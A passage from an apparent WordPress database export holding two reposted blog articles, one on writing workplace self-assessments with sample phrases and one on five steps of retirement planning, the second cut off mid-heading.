-->\n<p>“The first step is to adopt a growth mindset and understand that adult human potential is not fixed,” Hassell said. “We are always in a state of becoming, and our potential increases or decreases based on many factors, including the environments where we live and work. Adopting that framework prevents people from becoming too transfixed on their perceived failures and from becoming too attached to their triumphs.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Managers will also see a willingness to improve and take on new things as a sort of coachability. If an employee has struggled, making room for growth could improve their performance. On the other hand, an employee thriving in their position requires growth opportunities to prevent boredom or stagnation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Track your accomplishments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Providing hard data to show what you’ve done throughout the year is highly beneficial. Employees and managers may roughly understand how you have performed but having concrete numbers to back up any assertion strengthens the validity of your self-assessment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“If employees … spend 10 seconds a day writing down their one biggest accomplishment, success, metric hit, feedback received for that day, they’d have 10 times more data than they’d ever need for self-assessment,” said Mike Mannon, president of WD Communications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hank Yuloff, the owner of Yuloff Creative Marketing Solutions, said continuous evaluation of your performance can make it much easier to ground your self-assessment in facts and measurable data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“We teach our clients to keep a list of daily and weekly accomplishments so that when it is time for the self-assessment, there is very little guesswork as to how valuable they are to the company,” Yuloff said.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Be professional</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You should always be professional when writing self-assessments. This means not bashing the boss for poor leadership or criticizing co-workers for making your life more difficult. It also means not gushing over a co-worker or manager you like. Whether you are providing critical or positive feedback, professionalism is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Being professional means giving the appraisal its due attention, like any other important project that crosses your desk. Dominique Jones, chief people officer at BusPatrol, recommends treating your self-evaluation like a work of art that builds over time. She said you’ll be much happier with the result if you give yourself time to reflect and carefully support your self-assessment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Use examples to support your assertions and … make sure that you spell- and grammar-check your documents,” Jones wrote in a blog post. “These are all signs of how seriously you take the process and its importance to you.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Self evaluation example statements</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Keeping things simple and using short, declarative bullet points are key to writing an effective self-assessment. While the exact nature of your self-assessment might depend on your industry or your job description, this basic model can help guide you in writing a self-evaluation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Strengths</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I am a dedicated employee who understands my role and responsibilities, as well as the larger mission of our business. I strive to both do my job and make this company successful.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I am a good communicator who stays on task and helps rally the team when cooperation is needed to meet a deadline or solve a problem.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I am a creative thinker who can develop novel solutions and improve conventional ways of doing things.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Weaknesses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I am somewhat disorganized, which often impacts my productivity. I have learned how to manage my time better and intentionally direct my efforts. While it remains a challenge, I have seen some progress and look forward to continually improving.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Sometimes, I do not ask for help when I could benefit from assistance. I am always willing to help my teammates, and I know they feel the same way, so I will try to be more vocal about when I need a helping hand moving forward.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Core values</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I believe in teamwork and cooperation to overcome any obstacle.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I value respect and transparency between employees and managers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I value friendship and building warm relationships within the workplace.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I strive to be a welcoming and helpful presence to my co-workers.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Accomplishments</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I never missed a deadline in the past year and often submitted my work early.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’ve gone beyond my job description to ensure our team operates optimally, staying late and helping others whenever it could contribute to our collective goal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I created and delivered a presentation, stepping outside my comfort zone to do so. It was well received and bolstered my confidence regarding public speaking.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Goals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I want to continue developing my presentation and public speaking skills. As a weakness that I listed on previous self-assessments, it is gratifying to see that I have made some progress on this skill set, and I would like to double down on the growth.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I aspire to enter a managerial role. I enjoy working closely with my teammates and considering the bigger picture, and I often efficiently help direct resources. I could see myself as a manager who helps facilitate teamwork and encourages workers to do their best.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Feedback</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>My manager is pleasant and transparent, and they always set clear expectations. I never have to guess where I stand. I appreciate the openness and direct communication.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I want to be more involved in decision-making at the team level. I believe each team member has unique insights that supervisors cannot fully understand since their perspective is different. I believe involving staff members in strategic planning could greatly improve results.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Additional self evaluation examples</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Along with the elements in the preceding sample, self-evaluation forms might ask you to address some more specific areas. Your answers will give your employer deeper insights into how you view your strengths and weaknesses. Here are some tried-and-true phrases that managers like to see in a self-assessment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Communication</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For communication efforts on the job, here are a few common phrases to include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I communicate effectively with project managers and team members.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I can have difficult conversations with co-workers and managers in a respectful manner.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I provide constructive feedback and know how to accept the same from team members and management.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Performance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Performance is normally the most generalized area of self-assessments. These are some effective phrases to use:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I worked on X projects and met timelines and goals for each one.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I take the initiative on each project and confirm that I understand the parameters before launch.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’m consistently the top performer within my project team.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I always look for ways to improve on the job.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Reliability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The reliability section will discuss how dependable you perceive yourself to be so that you can include the below statements:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I am well known for my dependability and the way I give it my all on every project.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>My work is always done on time with a high level of accuracy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’m always on time at work and arrive at meetings early, being mindful of other people’s time.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Leadership</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For leadership, you should use phrases demonstrating how you’ve taken the initiative in the workplace.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here are a few self evaluation examples when describing your leadership capabilities:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I always go out of my way to help co-workers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I make sure everyone on my team feels comfortable when exchanging ideas.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I look for ways to keep my team on track and meet important milestones.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I brainstorm ways to motivate others and freely give praise when performance goals are met.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Innovation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>For innovation, the self-assessment is looking for ways that you creatively solved problems. Here are a few self evaluation example statements about innovation:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I always look for better ways to manage projects and ensure the process goes smoothly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’m not afraid to look for out-of-box solutions.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I don’t let change interrupt workflow. Instead, I roll with the adjustments to keep projects on track.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Teamwork</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You need to demonstrate how well you can get your team to work together, using phrases similar to the below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I maintain a positive attitude to benefit my co-workers and managers.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I encourage team members to work together as a way for us all to reach a common goal.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I always consider my co-workers’ feelings and show respect for their opinions.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Problem-solving skills</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In this section, you’re expected to talk about ways you have come up with solutions to common workplace problems. Here are a couple of sample phrases:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>I can look at a problem from every direction to devise a creative solution.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>I’m willing to ask for help when having a difficult time brainstorming a solution to a workplace problem.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Make performance evaluations a habit</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Performance evaluations help everyone know where they stand and how they’re performing in relation to business goals. Often, workplaces engage in performance evaluations annually, but they should become an ongoing process to fairly and accurately evaluate employees and create a positive company culture of constant communication and feedback.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“[S]elf-assessments cannot merely be an annual event. They are part of an ongoing and regular practice of reflection,” Hassell said. “If you look at a snapshot of performance, you will never see the truth. It’s too easy to focus on a particular experience or event and then create an overarching story around performance.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This will prevent “recency bias,” a type of tunnel vision that centers on recent events rather than the big picture. It also creates an inclusive, give-and-take culture where employees are invited to offer feedback to their managers as much as their managers offer them feedback. Overall, a workplace built on inclusive communication has a greater chance of success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Managers who adopt a coaching or mentorship role can provide external reflections and much-needed perspective so employees can see failures as learning opportunities,” Hassell said. “They can also enjoy the praise of a job well done but not dwell on past triumphs, because every company has a continued need for peak employee performance over time.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/electronics-computers/wifi-extenders/should-you-buy-a-wifi-range-extender-a1199590172/?itm_source=parsely-api\">click h</a><a href=\"https://www.businessnewsdaily.com/5379-writing-self-assessment.html\">ere.</a></p>\n<!-- /wp:paragraph -->','How to Write a Self-Assessment: 5 Tips to Improve Your Evaluation','','inherit','closed','closed','','3831-revision-v1','','','2024-02-27 15:51:19','2024-02-27 15:51:19','',3831,'https://smartinsurance.tips/?p=3833',0,'revision','',0),(3834,1,'2024-02-27 16:00:58','2024-02-27 16:00:58','<!-- wp:paragraph -->\n<p>These five steps will help you toward a safe, secure, and fun retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3835,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-23-1024x1024.png\" alt=\"\" class=\"wp-image-3835\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Retirement planning is a multistep process that evolves over time. To have a comfortable, secure—and fun—retirement, you need to build the financial cushion that will fund it all. The fun part is why it makes sense to pay attention to the serious—and perhaps boring—part: planning how you’ll get there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Retirement planning starts with thinking about your retirement goals and how long you have to meet them. Then you need to look at the types of retirement accounts that can help you raise the money to fund your future. As you save that money, you have to invest it to enable it to grow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-4\">The last part of planning is taxes: If you’ve received tax deductions over the years for the money that you’ve contributed to your retirement accounts, then a significant tax bill awaits when you start withdrawing those savings. There are ways to minimize the retirement tax hit while you save for the future—and to continue the process when that day arrives and you actually stop working.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">We’ll get into all of these issues here.&nbsp;But first, start by learning the five steps that everyone should take, no matter what their age, to build a solid retirement plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Retirement planning should include determining time horizons, estimating expenses, calculating required after-tax returns, assessing risk tolerance, and doing estate planning.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Start planning for retirement as soon as you can to take advantage of the power of compounding.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Younger investors can take more risk with their investments, while investors closer to retirement should be more conservative.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Retirement plans evolve through the years, which means portfolios should be rebalanced and estate plans updated as needed.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your career, family size, age of retirement, and post-retirement goals will all factor in to retirement planning.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-10\">How Much Do You Need to Save for Retirement?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-11\">Before anyone starts crunching the numbers on their retirement goals, they will need a good idea of how much money they need to save. Naturally, this will depend on many situational factors, such as their annual income and the age when they plan to retire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">While there is no fixed rule about how much money to save, many retirement experts offer rules of thumb such as saving about $1 million, or 12 years of one\'s pre-retirement annual income. Others recommend the 4% rule, which suggests that retirees should spend no more than 4% of their retirement savings each year in order to ensure a comfortable retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since everyone\'s circumstances are different, it is worth sitting down to calculate the ideal retirement savings for your own situation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-19\">Factors to Consider</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">As you begin to think about retirement, it is worthwhile to consider some of the factors that will affect your retirement goals. For example: what are your family plans? For many people, starting a family is a central life goal, but having children can also put a large dent in your savings. For that reason, the type of family you hope to have will play a factor in your retirement planning.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Likewise, it is also worth thinking about your plans for retirement, including any changes to your home or residence. Many people dream of travel during retirement, and while it can be an exciting adventure, extensive travel will eat away at your retirement savings faster than staying at home. On the other hand, moving to a country with an extremely low cost of living may allow you to stretch out your savings while enjoying a high living standard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-24\">Finally, one should also consider the different types of tax-advantaged retirement accounts. Most Americans qualify for social security, but those benefits are rarely enough to support all of their expenses in retirement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">While pension funds were once the norm for skilled professionals, they have largely been replaced by self-funded plans like 401(k) or IRA accounts. Since these have a maximum contribution limit, your retirement strategy will depend on what types of tax-advantaged accounts are available to you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Once you have thought these factors through, these are the next steps for planning your retirement:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-30\">1. Understand Your Time Horizon</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-31\">Your current age and expected retirement age create the initial groundwork for an effective retirement strategy. The longer the time from today to retirement, the higher the level of risk that your portfolio can withstand. If you’re young and have 30-plus years until retirement, you can have the majority of your assets in riskier investments, such as stocks. There will be volatility, but stocks have historically outperformed other securities, such as bonds, over long time periods. The main word here is “long,” meaning at least more than 10 years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Additionally, you need returns that outpace inflation so you can maintain your purchasing power during retirement. “Inflation is like an acorn. It starts out small, but given enough time, can turn into a mighty oak tree,” says Chris Hammond, a Savannah, Tenn., financial advisor and founder of RetirementPlanningMadeEasy.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-35\">“We’ve all heard—and want—compound growth on our money,” Hammond adds. “Well, inflation is like ‘compound anti-growth,’ as it erodes the value of your money. A seemingly small inflation rate of 3% will erode the value of your savings by 50% over approximately 24 years. Doesn’t seem like much each year, but given enough time, it has a huge impact.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-37\">In general, the older you are, the more your portfolio should be focused on income and the preservation of capital. This means a higher allocation in less risky securities, such as bonds, that won’t give you the returns of stocks but will be less volatile and provide income that you can use to live on. You will also have less concern about inflation. A 64-year-old who is planning on retiring next year does not have the same issues about a rise in the cost of living as a much younger professional who has just entered the workforce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">You should break up your retirement plan into multiple components. Let’s say a parent wants to retire in two years, pay for a child’s education at age 18, and move to Florida. From the perspective of forming a retirement plan, the investment strategy would be broken up into three periods: two years until retirement (contributions are still made into the plan), saving and paying for college, and living in Florida (regular withdrawals to cover&nbsp;living expenses).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">A multistage retirement plan must integrate various time horizons, along with the corresponding liquidity needs, to determine the optimal allocation strategy. You should also be rebalancing your portfolio over time as your time horizon changes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: You might not think that saving a few bucks here and there in your 20s means much, but the power of compounding will make it worth much more by the time you need it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-45\">2. Determine Retirement Spending Needs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">Having realistic expectations about post-retirement spending habits will help you define the required size of a retirement portfolio. Most people believe that after retirement, their annual spending will amount to only 70% to 80% of what they spent previously.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-48\">Such an assumption is often proven unrealistic, especially if the mortgage has not been paid off or if unforeseen medical expenses occur. Retired adults also sometimes spend their first years splurging on travel or other bucket-list goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-50\">“For retired adults to have enough savings for retirement, I believe that the ratio should be closer to 100%,” says David G. Niggel, CFP, ChFC, AIF, founder, president, and CEO of Key Wealth Partners LLC in Litilz, Pa. “The cost of living is increasing every year—especially healthcare expenses. People are living longer and want to thrive in retirement. Retired adults need more income for a longer time, so they will need to save and invest accordingly.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-52\">As, by definition, retired adults are no longer at work for eight or more hours a day, they have more time to travel, go sightseeing, shop, and engage in other expensive activities. Accurate retirement spending goals help in the planning process as more spending in the future requires additional savings today.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">“One of the factors—if not the largest—in the longevity of your retirement portfolio is your withdrawal rate. Having an accurate estimate of what your expenses will be in retirement is so important because it will affect how much you withdraw each year and how you invest your account. If you understate your expenses, you easily outlive your portfolio, or if you overstate your expenses, you can risk not living the type of lifestyle you want in retirement,” says Kevin Michels, CFP, EA, financial planner, and president of Medicus Wealth Planning in Draper, Utah.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">Your longevity also needs to be considered when planning for retirement, so you don’t outlast your savings. The average life span of individuals is increasing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Actuarial life tables are available to estimate the longevity rates of individuals and couples (this is referred to as longevity risk).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-60\">Additionally, you might need more money than you think if you want to purchase a home or fund your children’s education post-retirement. Those outlays have to be factored into the overall retirement plan. Remember to update your plan once a year to make sure that you are keeping on track with your savings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-62\">“Retirement planning accuracy can be improved by specifying and estimating early retirement activities, accounting for unexpected expenses in middle retirement, and forecasting what-if late-retirement medical costs,” explains Alex Whitehouse, AIF, CRPC, CWS, president, and CEO of Whitehouse Wealth Management in Vancouver, Wash.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-64\">3. Calculate After-Tax Rate of Investment Returns</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-65\">Once the expected time horizons and spending requirements are determined, the after-tax real rate of return must be calculated to assess the feasibility of the portfolio producing the needed income. A required rate of return in excess of 10% (before taxes) is normally an unrealistic expectation, even for long-term investing. As you age, this return threshold goes down, as low-risk retirement portfolios are largely composed of low-yielding fixed-income securities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-67\">If, for example, an individual has a retirement portfolio worth $400,000 and income needs of $50,000, assuming no taxes and the preservation of the portfolio balance, they are relying on an excessive 12.5% return to get by. A primary advantage of planning for retirement at an early age is that the portfolio can be grown to safeguard a realistic rate of return. Using a gross retirement investment account of $1 million, the expected return would be a much more reasonable 5%.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-69\">Depending on the type of retirement account that you hold, investment returns are typically taxed. Therefore, the actual rate of return must be calculated on an after-tax basis. However, determining your tax status when you begin to withdraw funds is a crucial component of the retirement planning process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-71\">4. Assess Risk Tolerance vs. Investment Goals</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-72\">Whether it’s you or a professional money manager who is in charge of the investment decisions, a proper portfolio allocation that balances the concerns of risk aversion and returns objectives is arguably the most important step in retirement planning. How much risk are you willing to take to meet your objectives? Should some income be set aside in risk-free Treasury bonds for required expenditures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-74\">You need to make sure that you are comfortable with the risks being taken in your portfolio and know what is necessary and what is a luxury. “Don’t be a ‘micromanager’ who reacts to daily market noise,” advises Craig L. Israelsen, Ph.D., designer of 7Twelve Portfolio in Springville, Utah.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-76\">“\'Helicopter’ investors tend to overmanage their portfolios,\" Israelsen adds. \"When the various mutual funds in your portfolio have a bad year, add more money to them. The mutual fund you are unhappy with this year may be next year’s best performer—so don’t bail out on it.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-78\">“Markets will go through long cycles of up and down and, if you are investing money you won’t need to touch for 40 years, you can afford to see your portfolio value rise and fall with those cycles,” says John R. Frye, CFA, senior advisor at Carnegie Investment Counsel. “When the market declines, buy—don’t sell. Refuse to give in to panic. If shirts went on sale, 20% off, you’d want to buy, right? Why not stocks if they went on sale 20% off?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-82\">5. Stay on Top of Estate Planning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-83\">Estate planning is another key step in a well-rounded retirement plan, and each aspect requires the expertise of different professionals, such as lawyers and accountants, in that specific field. Life insurance is also an important part of an estate plan and the retirement planning process. Having both a proper estate plan and life insurance coverage ensures that your assets are distributed in a manner of your choosing and that your loved ones will not experience financial hardship following your death. A carefully outlined plan also aids in avoiding an expensive and often lengthy probate process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-85\">Tax planning is another crucial part of the estate planning process. If an individual wishes to leave assets to family members or a charity, the tax implications of either gifting or passing them through the estate process must be compared.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-87\">A common retirement plan investment approach is based on producing returns that meet yearly inflation-adjusted living expenses while preserving the value of the portfolio. The portfolio is then transferred to the beneficiaries of the deceased. You should consult a tax advisor to determine the correct plan for the individual.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-89\">“Estate planning will vary over an investor’s lifetime,” says Mark T. Hebner, founder and president of Index Fund Advisors Inc. in Irvine, Calif., and author of <em>Index Funds: The 12-Step Recovery Program for Active Investors</em>. “Early on, matters such as powers of attorney and wills are necessary. Once you start a family, a trust may be something that becomes an important component of your financial plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-91\">“Later on in life, how you would like your money disbursed will be of the utmost importance in terms of cost and taxes,” Hebner adds. “Working with a fee-only estate planning attorney can assist in preparing and maintaining this aspect of your overall financial plan.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Risk 